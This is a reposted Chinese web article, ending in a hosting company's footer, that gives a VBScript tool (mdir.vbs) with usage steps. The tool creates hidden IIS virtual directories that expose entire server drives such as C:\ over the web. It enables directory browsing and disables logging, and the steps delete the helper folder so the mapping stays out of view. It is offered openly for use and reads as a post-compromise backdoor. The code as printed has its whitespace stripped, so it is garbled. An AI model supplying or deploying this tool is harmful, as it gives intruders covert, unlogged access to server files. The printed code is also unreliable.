快速业务通道

mdir.vbs 建立隐藏虚拟目录的vbs

作者 佚名 来源 ASP编程 浏览 发布时间 2013-07-09
建立隐藏虚拟目录使用。首先要先在对应WEB目录里建立一个目录。然后利用脚本直接在Shell中创建虚拟目录。仅仅为了方便大家使用。方法如下
C:\>mdir.vbs
***************************************************************************
Usage:MDir<-wWebSiteIndex>
<-vName1,Path1,Name2,Path2,...>
Example:MDir-w1-v"Root/Disk-C","C:\","Root/Disk-D","D:\"
***************************************************************************
IndexServerComment
___________________________________________________________________________
1asp.com
2asp.net
3aspx.net
4aspx.com
5tmp.com
6tmp.net
不加任何参数时,会将IIS中所有主机头罗列出来。
如果你想在 asp.com 中创建,则需要记准对应的 Index值。格式如下
C:\inetpub\wwwroot>mdRoot
C:\inetpub\wwwroot>Cscriptmdir.vbs-w"1"-v"Root/Disk-c","c:\"
C:\inetpub\wwwroot>rdRoot
就在此域名下创建了一个隐藏的虚拟目录。
访问方法:
http://asp.com/Root/Disk-c
复制代码 代码如下:

''Lilo编写
''Lilo@Bugkidz.org
OnErrorResumeNext
DimoArgs,ArgNum,ArgComputer,ArgWebSites,ArgVirtualDirs,ArgDirNames(),ArgDirPaths(),DirIndex,ArgComputers

SetoArgs=WScript.Arguments
ArgComputers=Array("LocalHost")

ArgNum=0
WhileArgNum<oArgs.Count

If(ArgNum+1)>=oArgs.CountThen
CallDisplayUsage
EndIf
SelectCaseLCase(oArgs(ArgNum))
Case"-w":
ArgNum=ArgNum+1
ArgWebSites=oArgs(ArgNum)
Case"-v":
ArgNum=ArgNum+1
ArgVirtualDirs=Split(oArgs(ArgNum),",",-1)
Case"-?"
CallDisplayUsage
EndSelect
ArgNum=ArgNum+1
Wend
ArgNum=0
DirIndex=0
MaxWeb=CLng(ListAllWeb(0))
IfNotIsNumeric(ArgWebSites)OrMaxWeb=0ThenCallDisplayUsage
ReDimArgDirNames((UBound(ArgVirtualDirs)+1)\2)
ReDimArgDirPaths((UBound(ArgVirtualDirs)+1)\2)

ifisArray(ArgVirtualDirs)then
WhileArgNum<=UBound(ArgVirtualDirs)
ArgDirNames(DirIndex)=ArgVirtualDirs(ArgNum)
If(ArgNum+1)>UBound(ArgVirtualDirs)Then
WScript.Echo"Errorunderstandingvirtualdirectories"
CallDisplayUsage
EndIf
ArgNum=ArgNum+1
ArgDirPaths(DirIndex)=ArgVirtualDirs(ArgNum)
ArgNum=ArgNum+1
DirIndex=DirIndex+1
Wend
endif

If(ArgWebSites="")Or(IsArray(ArgDirNames)=FalseorIsArray(ArgDirPaths)=False)Then
CallDisplayUsage
Else
DimcompIndex
forcompIndex=0toUBound(ArgComputers)
CallASTCreateVirtualWebDir(ArgComputers(compIndex),ArgWebSites,ArgDirNames,ArgDirPaths)
next
EndIf

SubDisplay(Msg)
WScript.EchoNow&".ErrorCode:"&Hex(Err)&"-"&Msg
EndSub

SubTrace(Msg)
WScript.EchoNow&":"&Msg
EndSub

SubDisplayUsage()
WScript.EchoString(75,"*")&vbCrLf&"Usage:MDir<-wWebSiteIndex>"&vbCrLf&"<-vName1,Path1,Name2,Path2,...>"&vbCrLf&"Example:MDir-w1-v""Root/Disk-C"",""C:\"",""Root/Disk-D"",""D:\"""&vbCrLf&String(75,"*")&vbCrLf&ListAllWeb(1)
WScript.Quit
EndSub

SubASTCreateVirtualWebDir(ComputerName,WebSiteName,DirNames,DirPaths)
DimComputer,webSite,WebSiteID,vRoot,vDir,DirNum
OnErrorResumeNext
SetwebSite=GetObject("IIS://Localhost/W3SVC/"&WebSiteName)
ifIsObject(webSite)then
setvRoot=webSite.GetObject("IIsWebVirtualDir","Root")
Trace"AccessingRootFor"&webSite.ADsPath
If(Err<>0)Then
Display"UnableToAccessRootfor"&webSite.ADsPath
Else
DirNum=0
If(IsArray(DirNames)=True)And(IsArray(DirPaths)=True)And(UBound(DirNames)=UBound(DirPaths))Then
WhileDirNum<UBound(DirNames)
SetvDir=vRoot.Create("IIsWebVirtualDir",DirNames(DirNum))
If(Err<>0)Then
Display"UnableToCreate"&vRoot.ADsPath&"/"&DirNames(DirNum)&"."
Else
vDir.EnableDirBrowsing=True
vDir.DirBrowseShowDate=False
vDir.DirBrowseShowTime=False
vDir.DirBrowseShowSize=False
vDir.DirBrowseShowExtension=False
vDir.DirBrowseShowLongDate=True
vDir.DirBrowseFlags=-1073741762
vDir.AccessRead=True
vDir.AccessWrite=False
vDir.AccessExecute=False
vDir.AccessScript=False
vDir.AccessSource=False
vDir.AccessNoRemoteRead=False
vDir.AccessNoRemoteWrite=False
vDir.AccessNoRemoteExecute=False
vDir.AccessNoRemoteScript=False
vDir.AppIsolated=1
vDir.AccessFlags=1
vDir.ContentIndexed=False
vDir.CreateProcessasUser=False
vDir.DontLog=True
''vDir.DefaultDoc=""
vDir.EnableDefaultDoc=False
vDir.AppFriendlyName=""
vDir.AppCreate23
vDir.Path=DirPaths(DirNum)
If(Err<>0)Then
Display"UnableToBindPath"&DirPaths(DirNum)&"to"&vRootName&"/"&DirNames(DirNum)&".Pathmaybeinvalid."
Else
''Savethechanges
vDir.SetInfo
If(Err<>0)Then
Display"UnableToSaveConfigurationFor"&vRootName&"/"&DirNames(DirNum)&"."
Else
Trace"WebVirtualDirectory"&vRootName&"/"&DirNames(DirNum)&"createdsuccessfully."
EndIf
EndIf
EndIf
Err=0
DirNum=DirNum+1
Wend
EndIf
EndIf
else
Display"UnableToFind"&WebSiteName&"on"&ComputerName
Endif
Trace"Done."
EndSub

FunctionListAllWeb(n)
SetObjService=GetObject("IIS://LocalHost/W3SVC")
Ifn=1ThenListAllWeb=""ElseListAllWeb=0
ForEachobj3wInobjservice
IfIsNumeric(obj3w.Name)Then
sServerName=Obj3w.ServerComment
Ifn=1Then
ListAllWeb=ListAllWeb&obj3w.Name&String(15-Len(obj3w.Name),"")&obj3w.ServerComment&vbCrLf
Else
ListAllWeb=ListAllWeb+1
EndIf
EndIf
Next
ifn=1ThenListAllWeb="Index"&String(10,"")&"ServerComment"&vbCrLf&String(75,"_")&vbCrLf&ListAllWeb
SetObjService=Nothing
EndFunction

凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!

分享到: 更多

Copyright ©1999-2011 厦门凌众科技有限公司 厦门优通互联科技开发有限公司 All rights reserved

地址(ADD):厦门软件园二期望海路63号701E(东南融通旁) 邮编(ZIP):361008

电话:0592-5908028 传真:0592-5908039 咨询信箱:web@lingzhong.cn 咨询OICQ:173723134

《中华人民共和国增值电信业务经营许可证》闽B2-20100024  ICP备案:闽ICP备05037997号